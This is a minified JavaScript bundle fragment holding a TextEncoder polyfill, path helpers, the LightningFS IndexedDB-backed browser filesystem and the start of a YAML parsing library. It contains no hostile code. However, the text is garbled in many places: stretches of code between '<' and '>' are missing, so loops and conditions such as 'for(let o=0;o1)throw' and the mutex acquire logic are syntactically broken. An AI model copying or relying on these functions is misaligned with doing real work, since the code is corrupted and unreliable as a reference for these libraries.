qP=W((Xme,jP)=>{m();jP.exports=TG;function TG(t){var e,n;if(typeof t!="function")throw new Error("expected a function but got "+t);return function(){return e||(e=!0,n=t.apply(this,arguments)),n}}});var HP=W(VP=>{m();(function(t){"use strict";function e(w,b){var S;return w instanceof x?S=w:S=x.from(w.buffer,w.byteOffset,w.byteLength),S.toString(b)}var n=function(w){return x.from(w)};function r(w){for(var b=0,S=Math.min(256*256,w.length+1),D=new Uint16Array(S),k=[],E=0;;){var v=b=S-1){var _=D.subarray(0,E),C=_;if(k.push(String.fromCharCode.apply(null,C)),!v)return k.join("");w=w.subarray(b),b=0,E=0}var A=w[b++];if((A&128)===0)D[E++]=A;else if((A&224)===192){var P=w[b++]&63;D[E++]=(A&31)<<6|P}else if((A&240)===224){var P=w[b++]&63,N=w[b++]&63;D[E++]=(A&31)<<12|P<<6|N}else if((A&248)===240){var P=w[b++]&63,N=w[b++]&63,B=w[b++]&63,L=(A&7)<<18|P<<12|N<<6|B;L>65535&&(L-=65536,D[E++]=L>>>10&1023|55296,L=56320|L&1023),D[E++]=L}}}function i(w){for(var b=0,S=w.length,D=0,k=Math.max(32,S+(S>>>1)+7),E=new Uint8Array(k>>>3<<3);b=55296&&v<=56319){if(b=55296&&v<=56319)continue}if(D+4>E.length){k+=8,k*=1+b/w.length*2,k=k>>>3<<3;var C=new Uint8Array(k);C.set(E),E=C}if((v&4294967168)===0){E[D++]=v;continue}else if((v&4294965248)===0)E[D++]=v>>>6&31|192;else if((v&4294901760)===0)E[D++]=v>>>12&15|224,E[D++]=v>>>6&63|128;else if((v&4292870144)===0)E[D++]=v>>>18&7|240,E[D++]=v>>>12&63|128,E[D++]=v>>>6&63|128;else continue;E[D++]=v&63|128}return E.slice?E.slice(0,D):E.subarray(0,D)}var s="Failed to ",o=function(w,b,S){if(w)throw new Error("".concat(s).concat(b,": the '").concat(S,"' option is unsupported."))},a=typeof x=="function"&&x.from,l=a?n:i;function c(){this.encoding="utf-8"}c.prototype.encode=function(w,b){return o(b&&b.stream,"encode","stream"),l(w)};function u(w){var b;try{var S=new Blob([w],{type:"text/plain;charset=UTF-8"});b=URL.createObjectURL(S);var D=new XMLHttpRequest;return D.open("GET",b,!1),D.send(),D.responseText}finally{b&&URL.revokeObjectURL(b)}}var f=!a&&typeof Blob=="function"&&typeof URL=="function"&&typeof URL.createObjectURL=="function",h=["utf-8","utf8","unicode-1-1-utf-8"],d=r;a?d=e:f&&(d=function(w){try{return u(w)}catch{return r(w)}});var p="construct 'TextDecoder'",g="".concat(s," ").concat(p,": the ");function y(w,b){o(b&&b.fatal,p,"fatal"),w=w||"utf-8";var S;if(a?S=x.isEncoding(w):S=h.indexOf(w.toLowerCase())!==-1,!S)throw new RangeError("".concat(g," encoding label provided ('").concat(w,"') is invalid."));this.encoding=w,this.fatal=!1,this.ignoreBOM=!1}y.prototype.decode=function(w,b){o(b&&b.stream,"decode","stream");var S;return w instanceof Uint8Array?S=w:w.buffer instanceof ArrayBuffer?S=new Uint8Array(w.buffer):S=new Uint8Array(w),d(S,this.encoding)},t.TextEncoder=t.TextEncoder||c,t.TextDecoder=t.TextDecoder||y})(typeof window<"u"?window:typeof globalThis<"u"?globalThis:VP)});var GP=W((rpe,WP)=>{m();HP();WP.exports={encode:t=>new TextEncoder().encode(t),decode:t=>new TextDecoder().decode(t)}});var KP=W((spe,QP)=>{m();QP.exports=FG;function FG(t,e,n){var r;return function(){if(!e)return t.apply(this,arguments);var i=this,s=arguments,o=n&&!r;if(clearTimeout(r),r=setTimeout(function(){if(r=null,!o)return t.apply(i,s)},e),o)return t.apply(this,arguments)}}});var zp=W((ape,JP)=>{m();function ZP(t){if(t.length===0)return".";let e=YP(t);return e=e.reduce(PG,[]),i1(...e)}function IG(...t){let e="";for(let n of t)n.startsWith("/")?e=n:e=ZP(i1(e,n));return e}function i1(...t){if(t.length===0)return"";let e=t.join("/");return e=e.replace(/\/{2,}/g,"/"),e}function YP(t){if(t.length===0)return[];if(t==="/")return["/"];let e=t.split("/");return e[e.length-1]===""&&e.pop(),t[0]==="/"?e[0]="/":e[0]!=="."&&e.unshift("."),e}function AG(t){let e=t.lastIndexOf("/");if(e===-1)throw new Error(`Cannot get dirname of "${t}"`);return e===0?"/":t.slice(0,e)}function OG(t){if(t==="/")throw new Error(`Cannot get basename of "${t}"`);let e=t.lastIndexOf("/");return e===-1?t:t.slice(e+1)}function PG(t,e){if(t.length===0)return t.push(e),t;if(e===".")return t;if(e===".."){if(t.length===1){if(t[0]==="/")throw new Error("Unable to normalize path - traverses above root directory");if(t[0]===".")return t.push(e),t}return t[t.length-1]===".."?(t.push(".."),t):(t.pop(),t)}return t.push(e),t}JP.exports={join:i1,normalize:ZP,split:YP,basename:OG,dirname:AG,resolve:IG}});var s1=W((cpe,XP)=>{m();function Sc(t){return class extends Error{constructor(...e){super(...e),this.code=t,this.message?this.message=t+": "+this.message:this.message=t}}}var NG=Sc("EEXIST"),MG=Sc("ENOENT"),RG=Sc("ENOTDIR"),zG=Sc("ENOTEMPTY"),LG=Sc("ETIMEDOUT"),BG=Sc("EISDIR");XP.exports={EEXIST:NG,ENOENT:MG,ENOTDIR:RG,ENOTEMPTY:zG,ETIMEDOUT:LG,EISDIR:BG}});var rN=W((dpe,nN)=>{m();var vn=zp(),{EEXIST:eN,ENOENT:$G,ENOTDIR:tN,ENOTEMPTY:UG,EISDIR:jG}=s1(),cn=0;nN.exports=class{constructor(){}_makeRoot(e=new Map){return e.set(cn,{mode:511,type:"dir",size:0,ino:0,mtimeMs:Date.now()}),e}activate(e=null){e===null?this._root=new Map([["/",this._makeRoot()]]):typeof e=="string"?this._root=new Map([["/",this._makeRoot(this.parse(e))]]):this._root=e}get activated(){return!!this._root}deactivate(){this._root=void 0}size(){return this._countInodes(this._root.get("/"))-1}_countInodes(e){let n=1;for(let[r,i]of e)r!==cn&&(n+=this._countInodes(i));return n}autoinc(){return this._maxInode(this._root.get("/"))+1}_maxInode(e){let n=e.get(cn).ino;for(let[r,i]of e)r!==cn&&(n=Math.max(n,this._maxInode(i)));return n}print(e=this._root.get("/")){let n="",r=(i,s)=>{for(let[o,a]of i){if(o===0)continue;let l=a.get(cn),c=l.mode.toString(8);n+=`${" ".repeat(s)}${o} ${c}`,l.type==="file"?n+=` ${l.size} ${l.mtimeMs} -`:(n+=` -`,r(a,s+1))}};return r(e,0),n}parse(e){let n=0;function r(a){let l=++n,c=a.length===1?"dir":"file",[u,f,h]=a;return u=parseInt(u,8),f=f?parseInt(f):0,h=h?parseInt(h):Date.now(),new Map([[cn,{mode:u,type:c,size:f,mtimeMs:h,ino:l}]])}let i=e.trim().split(` -`),s=this._makeRoot(),o=[{indent:-1,node:s},{indent:0,node:null}];for(let a of i){let c=a.match(/^\t*/)[0].length;a=a.slice(c);let[u,...f]=a.split(" "),h=r(f);if(c<=o[o.length-1].indent)for(;c<=o[o.length-1].indent;)o.pop();o.push({indent:c,node:h}),o[o.length-2].node.set(u,h)}return s}_lookup(e,n=!0){let r=this._root,i="/",s=vn.split(e);for(let o=0;o1)throw new UG;let r=this._lookup(vn.dirname(e)),i=vn.basename(e);r.delete(i)}readdir(e){let n=this._lookup(e);if(n.get(cn).type!=="dir")throw new tN;return[...n.keys()].filter(r=>typeof r=="string")}writeStat(e,n,{mode:r}){let i,s;try{s=this.stat(e)}catch{}if(s!==void 0){if(s.type==="dir")throw new jG;r==null&&(r=s.mode),i=s.ino}r==null&&(r=438),i==null&&(i=this.autoinc());let o=this._lookup(vn.dirname(e)),a=vn.basename(e),l={mode:r,type:"file",size:n,mtimeMs:Date.now(),ino:i},c=new Map;return c.set(cn,l),o.set(a,c),l}unlink(e){let n=this._lookup(vn.dirname(e)),r=vn.basename(e);n.delete(r)}rename(e,n){let r=vn.basename(n),i=this._lookup(e);this._lookup(vn.dirname(n)).set(r,i),this.unlink(e)}stat(e){return this._lookup(e).get(cn)}lstat(e){return this._lookup(e,!1).get(cn)}readlink(e){return this._lookup(e,!1).get(cn).target}symlink(e,n){let r,i;try{let c=this.stat(n);i===null&&(i=c.mode),r=c.ino}catch{}i==null&&(i=40960),r==null&&(r=this.autoinc());let s=this._lookup(vn.dirname(n)),o=vn.basename(n),a={mode:i,type:"symlink",target:e,size:0,mtimeMs:Date.now(),ino:r},l=new Map;return l.set(cn,a),s.set(o,l),a}_du(e){let n=0;for(let[r,i]of e.entries())r===cn?n+=i.size:n+=this._du(i);return n}du(e){let n=this._lookup(e);return this._du(n)}}});var a1=W(Oi=>{"use strict";m();Object.defineProperty(Oi,"__esModule",{value:!0});var Lp=class{constructor(e="keyval-store",n="keyval"){this.storeName=n,this._dbName=e,this._storeName=n,this._init()}_init(){this._dbp||(this._dbp=new Promise((e,n)=>{let r=indexedDB.open(this._dbName);r.onerror=()=>n(r.error),r.onsuccess=()=>e(r.result),r.onupgradeneeded=()=>{r.result.createObjectStore(this._storeName)}}))}_withIDBStore(e,n){return this._init(),this._dbp.then(r=>new Promise((i,s)=>{let o=r.transaction(this.storeName,e);o.oncomplete=()=>i(),o.onabort=o.onerror=()=>s(o.error),n(o.objectStore(this.storeName))}))}_close(){return this._init(),this._dbp.then(e=>{e.close(),this._dbp=void 0})}},o1;function Ea(){return o1||(o1=new Lp),o1}function qG(t,e=Ea()){let n;return e._withIDBStore("readwrite",r=>{n=r.get(t)}).then(()=>n.result)}function VG(t,e,n=Ea()){return n._withIDBStore("readwrite",r=>{r.put(e,t)})}function HG(t,e,n=Ea()){return n._withIDBStore("readwrite",r=>{let i=r.get(t);i.onsuccess=()=>{r.put(e(i.result),t)}})}function WG(t,e=Ea()){return e._withIDBStore("readwrite",n=>{n.delete(t)})}function GG(t=Ea()){return t._withIDBStore("readwrite",e=>{e.clear()})}function QG(t=Ea()){let e=[];return t._withIDBStore("readwrite",n=>{(n.openKeyCursor||n.openCursor).call(n).onsuccess=function(){this.result&&(e.push(this.result.key),this.result.continue())}}).then(()=>e)}function KG(t=Ea()){return t._close()}Oi.Store=Lp;Oi.get=qG;Oi.set=VG;Oi.update=HG;Oi.del=WG;Oi.clear=GG;Oi.keys=QG;Oi.close=KG});var sN=W((wpe,iN)=>{m();var so=a1();iN.exports=class{constructor(e,n){this._database=e,this._storename=n,this._store=new so.Store(this._database,this._storename)}saveSuperblock(e){return so.set("!root",e,this._store)}loadSuperblock(){return so.get("!root",this._store)}readFile(e){return so.get(e,this._store)}writeFile(e,n){return so.set(e,n,this._store)}unlink(e){return so.del(e,this._store)}wipe(){return so.clear(this._store)}close(){return so.close(this._store)}}});var aN=W((kpe,oN)=>{m();oN.exports=class{constructor(e){this._url=e}loadSuperblock(){return fetch(this._url+"/.superblock.txt").then(e=>e.ok?e.text():null)}async readFile(e){let n=await fetch(this._url+e);if(n.status===200)return n.arrayBuffer();throw new Error("ENOENT")}async sizeFile(e){let n=await fetch(this._url+e,{method:"HEAD"});if(n.status===200)return n.headers.get("content-length");throw new Error("ENOENT")}}});var cN=W((Dpe,lN)=>{m();var ah=a1(),ZG=t=>new Promise(e=>setTimeout(e,t));lN.exports=class{constructor(e,n){this._id=Math.random(),this._database=e,this._storename=n,this._store=new ah.Store(this._database,this._storename),this._lock=null}async has({margin:e=2e3}={}){if(this._lock&&this._lock.holder===this._id){let n=Date.now();return this._lock.expires>n+e?!0:await this.renew()}else return!1}async renew({ttl:e=5e3}={}){let n;return await ah.update("lock",r=>{let s=Date.now()+e;return n=r&&r.holder===this._id,this._lock=n?{holder:this._id,expires:s}:r,this._lock},this._store),n}async acquire({ttl:e=5e3}={}){let n,r,i;if(await ah.update("lock",s=>{let o=Date.now(),a=o+e;return r=s&&s.expires(n=e||s&&s.holder===this._id,r=s===void 0,i=s&&s.holder!==this._id,this._lock=n?void 0:s,this._lock),this._store),await ah.close(this._store),!n&&!e){if(r)throw new Error("Mutex double-freed");if(i)throw new Error("Mutex lost ownership")}return n}}});var fN=W((Cpe,uN)=>{m();uN.exports=class{constructor(e){this._id=Math.random(),this._database=e,this._has=!1,this._release=null}async has(){return this._has}async acquire(){return new Promise(e=>{navigator.locks.request(this._database+"_lock",{ifAvailable:!0},n=>(this._has=!!n,e(!!n),new Promise(r=>{this._release=r})))})}async wait({timeout:e=6e5}={}){return new Promise((n,r)=>{let i=new AbortController;setTimeout(()=>{i.abort(),r(new Error("Mutex timeout"))},e),navigator.locks.request(this._database+"_lock",{signal:i.signal},s=>(this._has=!!s,n(!!s),new Promise(o=>{this._release=o})))})}async release({force:e=!1}={}){this._has=!1,this._release?this._release():e&&navigator.locks.request(this._database+"_lock",{steal:!0},n=>!0)}}});var mN=W((Ipe,dN)=>{m();var{encode:YG,decode:hN}=GP(),JG=KP(),XG=rN(),{ENOENT:e7,ENOTEMPTY:t7,ETIMEDOUT:n7}=s1(),r7=sN(),i7=aN(),s7=cN(),o7=fN(),lh=zp();dN.exports=class{constructor(){this.saveSuperblock=JG(()=>{this.flush()},500)}async init(e,{wipe:n,url:r,urlauto:i,fileDbName:s=e,db:o=null,fileStoreName:a=e+"_files",lockDbName:l=e+"_lock",lockStoreName:c=e+"_lock"}={}){this._name=e,this._idb=o||new r7(s,a),this._mutex=navigator.locks?new o7(e):new s7(l,c),this._cache=new XG(e),this._opts={wipe:n,url:r},this._needsWipe=!!n,r&&(this._http=new i7(r),this._urlauto=!!i)}async activate(){if(this._cache.activated)return;this._needsWipe&&(this._needsWipe=!1,await this._idb.wipe(),await this._mutex.release({force:!0})),await this._mutex.has()||await this._mutex.wait();let e=await this._idb.loadSuperblock();if(e)this._cache.activate(e);else if(this._http){let n=await this._http.loadSuperblock();this._cache.activate(n),await this._saveSuperblock()}else this._cache.activate();if(!await this._mutex.has())throw new n7}async deactivate(){await this._mutex.has()&&await this._saveSuperblock(),this._cache.deactivate();try{await this._mutex.release()}catch(e){console.log(e)}await this._idb.close()}async _saveSuperblock(){this._cache.activated&&(this._lastSavedAt=Date.now(),await this._idb.saveSuperblock(this._cache._root))}_writeStat(e,n,r){let i=lh.split(lh.dirname(e)),s=i.shift();for(let o of i){s=lh.join(s,o);try{this._cache.mkdir(s,{mode:511})}catch{}}return this._cache.writeStat(e,n,r)}async readFile(e,n){let r=typeof n=="string"?n:n&&n.encoding;if(r&&r!=="utf8")throw new Error('Only "utf8" encoding is supported in readFile');let i=null,s=null;try{s=this._cache.stat(e),i=await this._idb.readFile(s.ino)}catch(o){if(!this._urlauto)throw o}if(!i&&this._http){let o=this._cache.lstat(e);for(;o.type==="symlink";)e=lh.resolve(lh.dirname(e),o.target),o=this._cache.lstat(e);i=await this._http.readFile(e)}if(i&&((!s||s.size!=i.byteLength)&&(s=await this._writeStat(e,i.byteLength,{mode:s?s.mode:438}),this.saveSuperblock()),r==="utf8"?i=hN(i):i.toString=()=>hN(i)),!s)throw new e7(e);return i}async writeFile(e,n,r){let{mode:i,encoding:s="utf8"}=r;if(typeof n=="string"){if(s!=="utf8")throw new Error('Only "utf8" encoding is supported in writeFile');n=YG(n)}let o=await this._cache.writeStat(e,n.byteLength,{mode:i});await this._idb.writeFile(o.ino,n)}async unlink(e,n){let r=this._cache.lstat(e);this._cache.unlink(e),r.type!=="symlink"&&await this._idb.unlink(r.ino)}readdir(e,n){return this._cache.readdir(e)}mkdir(e,n){let{mode:r=511}=n;this._cache.mkdir(e,{mode:r})}rmdir(e,n){if(e==="/")throw new t7;this._cache.rmdir(e)}rename(e,n){this._cache.rename(e,n)}stat(e,n){return this._cache.stat(e)}lstat(e,n){return this._cache.lstat(e)}readlink(e,n){return this._cache.readlink(e)}symlink(e,n){this._cache.symlink(e,n)}async backFile(e,n){let r=await this._http.sizeFile(e);await this._writeStat(e,r,n)}du(e){return this._cache.du(e)}flush(){return this._saveSuperblock()}}});var gN=W((Ppe,pN)=>{m();pN.exports=class{constructor(e){this.type=e.type,this.mode=e.mode,this.size=e.size,this.ino=e.ino,this.mtimeMs=e.mtimeMs,this.ctimeMs=e.ctimeMs||e.mtimeMs,this.uid=1,this.gid=1,this.dev=1}isFile(){return this.type==="file"}isDirectory(){return this.type==="dir"}isSymbolicLink(){return this.type==="symlink"}}});var vN=W((Rpe,bN)=>{m();var a7=mN(),yN=gN(),Bp=zp();function Pi(t,e,...n){return t=Bp.normalize(t),(typeof e>"u"||typeof e=="function")&&(e={}),typeof e=="string"&&(e={encoding:e}),[t,e,...n]}function l7(t,e,n,...r){return t=Bp.normalize(t),(typeof n>"u"||typeof n=="function")&&(n={}),typeof n=="string"&&(n={encoding:n}),[t,e,n,...r]}function wN(t,e,...n){return[Bp.normalize(t),Bp.normalize(e),...n]}bN.exports=class{constructor(e,n={}){this.init=this.init.bind(this),this.readFile=this._wrap(this.readFile,Pi,!1),this.writeFile=this._wrap(this.writeFile,l7,!0),this.unlink=this._wrap(this.unlink,Pi,!0),this.readdir=this._wrap(this.readdir,Pi,!1),this.mkdir=this._wrap(this.mkdir,Pi,!0),this.rmdir=this._wrap(this.rmdir,Pi,!0),this.rename=this._wrap(this.rename,wN,!0),this.stat=this._wrap(this.stat,Pi,!1),this.lstat=this._wrap(this.lstat,Pi,!1),this.readlink=this._wrap(this.readlink,Pi,!1),this.symlink=this._wrap(this.symlink,wN,!0),this.backFile=this._wrap(this.backFile,Pi,!0),this.du=this._wrap(this.du,Pi,!1),this._deactivationPromise=null,this._deactivationTimeout=null,this._activationPromise=null,this._operations=new Set,e&&this.init(e,n)}async init(...e){return this._initPromiseResolve&&await this._initPromise,this._initPromise=this._init(...e),this._initPromise}async _init(e,n={}){await this._gracefulShutdown(),this._activationPromise&&await this._deactivate(),this._backend&&this._backend.destroy&&await this._backend.destroy(),this._backend=n.backend||new a7,this._backend.init&&await this._backend.init(e,n),this._initPromiseResolve&&(this._initPromiseResolve(),this._initPromiseResolve=null),n.defer||this.stat("/")}async _gracefulShutdown(){this._operations.size>0&&(this._isShuttingDown=!0,await new Promise(e=>this._gracefulShutdownResolve=e),this._isShuttingDown=!1,this._gracefulShutdownResolve=null)}_wrap(e,n,r){return async(...i)=>{i=n(...i);let s={name:e.name,args:i};this._operations.add(s);try{return await this._activate(),await e.apply(this,i)}finally{this._operations.delete(s),r&&this._backend.saveSuperblock(),this._operations.size===0&&(this._deactivationTimeout||clearTimeout(this._deactivationTimeout),this._deactivationTimeout=setTimeout(this._deactivate.bind(this),500))}}}async _activate(){this._initPromise||console.warn(new Error(`Attempted to use LightningFS ${this._name} before it was initialized.`)),await this._initPromise,this._deactivationTimeout&&(clearTimeout(this._deactivationTimeout),this._deactivationTimeout=null),this._deactivationPromise&&await this._deactivationPromise,this._deactivationPromise=null,this._activationPromise||(this._activationPromise=this._backend.activate?this._backend.activate():Promise.resolve()),await this._activationPromise}async _deactivate(){return this._activationPromise&&await this._activationPromise,this._deactivationPromise||(this._deactivationPromise=this._backend.deactivate?this._backend.deactivate():Promise.resolve()),this._activationPromise=null,this._gracefulShutdownResolve&&this._gracefulShutdownResolve(),this._deactivationPromise}async readFile(e,n){return this._backend.readFile(e,n)}async writeFile(e,n,r){return await this._backend.writeFile(e,n,r),null}async unlink(e,n){return await this._backend.unlink(e,n),null}async readdir(e,n){return this._backend.readdir(e,n)}async mkdir(e,n){return await this._backend.mkdir(e,n),null}async rmdir(e,n){return await this._backend.rmdir(e,n),null}async rename(e,n){return await this._backend.rename(e,n),null}async stat(e,n){let r=await this._backend.stat(e,n);return new yN(r)}async lstat(e,n){let r=await this._backend.lstat(e,n);return new yN(r)}async readlink(e,n){return this._backend.readlink(e,n)}async symlink(e,n){return await this._backend.symlink(e,n),null}async backFile(e,n){return await this._backend.backFile(e,n),null}async du(e){return this._backend.du(e)}async flush(){return this._backend.flush()}}});var xN=W((Bpe,kN)=>{m();var c7=qP(),u7=vN();function $n(t,e){return typeof t=="function"&&(e=t),e=c7(e),[(...r)=>e(null,...r),e]}kN.exports=class{constructor(...e){this.promises=new u7(...e),this.init=this.init.bind(this),this.readFile=this.readFile.bind(this),this.writeFile=this.writeFile.bind(this),this.unlink=this.unlink.bind(this),this.readdir=this.readdir.bind(this),this.mkdir=this.mkdir.bind(this),this.rmdir=this.rmdir.bind(this),this.rename=this.rename.bind(this),this.stat=this.stat.bind(this),this.lstat=this.lstat.bind(this),this.readlink=this.readlink.bind(this),this.symlink=this.symlink.bind(this),this.backFile=this.backFile.bind(this),this.du=this.du.bind(this),this.flush=this.flush.bind(this)}init(e,n){return this.promises.init(e,n)}readFile(e,n,r){let[i,s]=$n(n,r);this.promises.readFile(e,n).then(i).catch(s)}writeFile(e,n,r,i){let[s,o]=$n(r,i);this.promises.writeFile(e,n,r).then(s).catch(o)}unlink(e,n,r){let[i,s]=$n(n,r);this.promises.unlink(e,n).then(i).catch(s)}readdir(e,n,r){let[i,s]=$n(n,r);this.promises.readdir(e,n).then(i).catch(s)}mkdir(e,n,r){let[i,s]=$n(n,r);this.promises.mkdir(e,n).then(i).catch(s)}rmdir(e,n,r){let[i,s]=$n(n,r);this.promises.rmdir(e,n).then(i).catch(s)}rename(e,n,r){let[i,s]=$n(r);this.promises.rename(e,n).then(i).catch(s)}stat(e,n,r){let[i,s]=$n(n,r);this.promises.stat(e).then(i).catch(s)}lstat(e,n,r){let[i,s]=$n(n,r);this.promises.lstat(e).then(i).catch(s)}readlink(e,n,r){let[i,s]=$n(n,r);this.promises.readlink(e).then(i).catch(s)}symlink(e,n,r){let[i,s]=$n(r);this.promises.symlink(e,n).then(i).catch(s)}backFile(e,n,r){let[i,s]=$n(n,r);this.promises.backFile(e,n).then(i).catch(s)}du(e,n){let[r,i]=$n(n);this.promises.du(e).then(r).catch(i)}flush(e){let[n,r]=$n(e);this.promises.flush().then(n).catch(r)}}});function We(t){if(t&&typeof t=="object")switch(t[xn]){case li:case ds:return!0}return!1}function Le(t){if(t&&typeof t=="object")switch(t[xn]){case Kp:case li:case hr:case ds:return!0}return!1}var Kp,Zp,li,T1,hr,ds,xn,Un,dr,mr,Me,Ie,pr,Yp,qe=se(()=>{m();Kp=Symbol.for("yaml.alias"),Zp=Symbol.for("yaml.document"),li=Symbol.for("yaml.map"),T1=Symbol.for("yaml.pair"),hr=Symbol.for("yaml.scalar"),ds=Symbol.for("yaml.seq"),xn=Symbol.for("yaml.node.type"),Un=t=>!!t&&typeof t=="object"&&t[xn]===Kp,dr=t=>!!t&&typeof t=="object"&&t[xn]===Zp,mr=t=>!!t&&typeof t=="object"&&t[xn]===li,Me=t=>!!t&&typeof t=="object"&&t[xn]===T1,Ie=t=>!!t&&typeof t=="object"&&t[xn]===hr,pr=t=>!!t&&typeof t=="object"&&t[xn]===ds;Yp=t=>(Ie(t)||We(t))&&!!t.anchor});function zr(t,e){let n=MM(e);dr(t)?Fc(null,t.contents,n,Object.freeze([t]))===Ri&&(t.contents=null):Fc(null,t,n,Object.freeze([]))}function Fc(t,e,n,r){let i=RM(t,e,n,r);if(Le(i)||Me(i))return zM(t,r,i),Fc(t,i,n,r);if(typeof i!="symbol"){if(We(e)){r=Object.freeze(r.concat(e));for(let s=0;s{m();qe();jn=Symbol("break visit"),NM=Symbol("skip children"),Ri=Symbol("remove node");zr.BREAK=jn;zr.SKIP=NM;zr.REMOVE=Ri;Ac.BREAK=jn;Ac.SKIP=NM;Ac.REMOVE=Ri});var SQ,DQ,zi,F1=se(()=>{m();qe();wh();SQ={"!":"%21",",":"%2C","[":"%5B","]":"%5D","{":"%7B","}":"%7D"},DQ=t=>t.replace(/[!,[\]{}]/g,e=>SQ[e]),zi=class t{constructor(e,n){this.docStart=null,this.docEnd=!1,this.yaml=Object.assign({},t.defaultYaml,e),this.tags=Object.assign({},t.defaultTags,n)}clone(){let e=new t(this.yaml,this.tags);return e.docStart=this.docStart,e}atDocument(){let e=new t(this.yaml,this.tags);switch(this.yaml.version){case"1.1":this.atNextDocument=!0;break;case"1.2":this.atNextDocument=!1,this.yaml={explicit:t.defaultYaml.explicit,version:"1.2"},this.tags=Object.assign({},t.defaultTags);break}return e}add(e,n){this.atNextDocument&&(this.yaml={explicit:t.defaultYaml.explicit,version:"1.1"},this.tags=Object.assign({},t.defaultTags),this.atNextDocument=!1);let r=e.trim().split(/[ \t]+/),i=r.shift();switch(i){case"%TAG":{if(r.length!==2&&(n(0,"%TAG directive should contain exactly two parts"),r.length<2))return!1;let[s,o]=r;return this.tags[s]=o,!0}case"%YAML":{if(this.yaml.explicit=!0,r.length!==1)return n(0,"%YAML directive should contain exactly one part"),!1;let[s]=r;if(s==="1.1"||s==="1.2")return this.yaml.version=s,!0;{let o=/^\d+\.\d+$/.test(s);return n(6,`Unsupported YAML version ${s}`,o),!1}}default:return n(0,`Unknown directive ${i}`,!0),!1}}tagName(e,n){if(e==="!")return"!";if(e[0]!=="!")return n(`Not a valid tag: ${e}`),null;if(e[1]==="<"){let o=e.slice(2,-1);return o==="!"||o==="!!"?(n(`Verbatim tags aren't resolved, so ${e} is invalid.`),null):(e[e.length-1]!==">"&&n("Verbatim tags must end with a >"),o)}let[,r,i]=e.match(/^(.*!)([^!]*)$/s);i||n(`The ${e} tag has no suffix`);let s=this.tags[r];if(s)try{return s+decodeURIComponent(i)}catch(o){return n(String(o)),null}return r==="!"?e:(n(`Could not resolve tag: ${e}`),null)}tagString(e){for(let[n,r]of Object.entries(this.tags))if(e.startsWith(r))return n+DQ(e.substring(r.length));return e[0]==="!"?e:`!<${e}>`}toString(e){let n=this.yaml.explicit?[`%YAML ${this.yaml.version||"1.2"}`]:[],r=Object.entries(this.tags),i;if(e&&r.length>0&&Le(e.contents)){let s={};zr(e.contents,(o,a)=>{Le(a)&&a.tag&&(s[a.tag]=!0)}),i=Object.keys(s)}else i=[];for(let[s,o]of r)s==="!!"&&o==="tag:yaml.org,2002:"||(!e||i.some(a=>a.startsWith(o)))&&n.push(`%TAG ${s} ${o}`);return n.join(` -`)}};zi.defaultYaml={explicit:!1,version:"1.2"};zi.defaultTags={"!!":"tag:yaml.org,2002:"}});function Jp(t){if(/[\x00-\x19\s,[\]{}]/.test(t)){let n=`Anchor must not contain whitespace or control characters: ${JSON.stringify(t)}`;throw new Error(n)}return!0}function I1(t){let e=new Set;return zr(t,{Value(n,r){r.anchor&&e.add(r.anchor)}}),e}function A1(t,e){for(let n=1;;++n){let r=`${t}${n}`;if(!e.has(r))return r}}function LM(t,e){let n=[],r=new Map,i=null;return{onAnchor:s=>{n.push(s),i??(i=I1(t));let o=A1(e,i);return i.add(o),o},setAnchors:()=>{for(let s of n){let o=r.get(s);if(typeof o=="object"&&o.anchor&&(Ie(o.node)||We(o.node)))o.node.anchor=o.anchor;else{let a=new Error("Failed to resolve repeated object (this should not happen)");throw a.source=s,a}}},sourceObjects:r}}var Xp=se(()=>{m();qe();wh()});function co(t,e,n,r){if(r&&typeof r=="object")if(Array.isArray(r))for(let i=0,s=r.length;i{m()});function Bt(t,e,n){if(Array.isArray(t))return t.map((r,i)=>Bt(r,String(i),n));if(t&&typeof t.toJSON=="function"){if(!n||!Yp(t))return t.toJSON(e,n);let r={aliasCount:0,count:1,res:void 0};n.anchors.set(t,r),n.onCreate=s=>{r.res=s,delete n.onCreate};let i=t.toJSON(e,n);return n.onCreate&&n.onCreate(i),i}return typeof t=="bigint"&&!n?.keep?Number(t):t}var uo=se(()=>{m();qe()});var fo,eg=se(()=>{m();O1();qe();uo();fo=class{constructor(e){Object.defineProperty(this,xn,{value:e})}clone(){let e=Object.create(Object.getPrototypeOf(this),Object.getOwnPropertyDescriptors(this));return this.range&&(e.range=this.range.slice()),e}toJS(e,{mapAsMap:n,maxAliasCount:r,onAnchor:i,reviver:s}={}){if(!dr(e))throw new TypeError("A document argument is required");let o={anchors:new Map,doc:e,keep:!0,mapAsMap:n===!0,mapKeyWarned:!1,maxAliasCount:typeof r=="number"?r:100},a=Bt(this,"",o);if(typeof i=="function")for(let{count:l,res:c}of o.anchors.values())i(c,l);return typeof s=="function"?co(s,{"":a},"",a):a}}});function tg(t,e,n){if(Un(e)){let r=e.resolve(t),i=n&&r&&n.get(r);return i?i.count*i.aliasCount:0}else if(We(e)){let r=0;for(let i of e.items){let s=tg(t,i,n);s>r&&(r=s)}return r}else if(Me(e)){let r=tg(t,e.key,n),i=tg(t,e.value,n);return Math.max(r,i)}return 1}var ci,bh=se(()=>{m();Xp();wh();qe();eg();uo();ci=class extends fo{constructor(e){super(Kp),this.source=e,Object.defineProperty(this,"tag",{set(){throw new Error("Alias nodes cannot have tags")}})}resolve(e,n){let r;n?.aliasResolveCache?r=n.aliasResolveCache:(r=[],zr(e,{Node:(s,o)=>{(Un(o)||Yp(o))&&r.push(o)}}),n&&(n.aliasResolveCache=r));let i;for(let s of r){if(s===this)break;s.anchor===this.source&&(i=s)}return i}toJSON(e,n){if(!n)return{source:this.source};let{anchors:r,doc:i,maxAliasCount:s}=n,o=this.resolve(i,n);if(!o){let l=`Unresolved alias (the anchor must be set before the alias): ${this.source}`;throw new ReferenceError(l)}let a=r.get(o);if(a||(Bt(o,null,n),a=r.get(o)),a?.res===void 0){let l="This should not happen: Alias anchor was not resolved?";throw new ReferenceError(l)}if(s>=0&&(a.count+=1,a.aliasCount===0&&(a.aliasCount=tg(i,o,r)),a.count*a.aliasCount>s)){let l="Excessive alias count indicates a resource exhaustion attack";throw new ReferenceError(l)}return a.res}toString(e,n,r){let i=`*${this.source}`;if(e){if(Jp(this.source),e.options.verifyAliasOrder&&!e.anchors.has(this.source)){let s=`Unresolved alias (the anchor must be set before the alias): ${this.source}`;throw new Error(s)}if(e.implicitKey)return`${i} `}return i}}});var ng,ue,Pt=se(()=>{m();qe();eg();uo();ng=t=>!t||typeof t!="function"&&typeof t!="object",ue=class extends fo{constructor(e){super(hr),this.value=e}toJSON(e,n){return n?.keep?this.value:Bt(this.value,e,n)}toString(){return 